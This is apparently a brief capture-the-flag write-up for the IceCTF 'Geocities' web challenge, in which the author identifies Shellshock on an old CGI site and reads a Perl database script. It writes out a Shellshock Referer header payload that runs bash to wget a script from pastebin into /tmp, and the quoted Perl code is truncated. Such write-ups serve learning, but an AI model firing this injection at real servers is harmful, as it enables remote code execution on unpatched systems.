[IceCTF] Geocities – Web100


I recently stumbled onto this old http://geocities.vuln.icec.tf/ site, it’s a miracle that it’s still up! It must be running some ancient technology and probably hasn’t been updated in years, it’s our lucky day boys!

Messing around and thinking about the description:

It must be running some ancient technology and probably hasn't been updated in years

So i decided to find popular vulnerable 1-2 years ago and found it. It’s SHELLSHOCK!

You can click here for more infor about shellshock

Let test this:

At first i thought the flag is in somewhere on the server, so i try to find it with

grep -r IceCTF *

and nothing appear!

So I read some source to find something good, and notice that maybe the perl file get_posts.pl is a hint:


use strict;
use DBI;

my $dbh = DBI->connect(
    { RaiseError => 1 },
) or die $DBI::errstr;

my $sth = $dbh->prepare("SELECT * from Posts ORDER BY post_date DESC");

my $row;
while ($row = $sth->fetchrow_arrayref()) {
    print "@$row[1];@$row[2];@$row[3]\n";


Well well, maybe flag is in database

Also we can execute perl script directly :

Okay let create new .pl file which extract information in database for us and locate it in /tmp/ to be allowed to create and execute

Here final payload:


And download it

Referer: () { :; }; echo -e "Content-Type: text/plain\n";   /bin/bash -c "wget http://pastebin.com/raw/g5E5YXqt -O /tmp/tsu.pl";

Time to get flag!
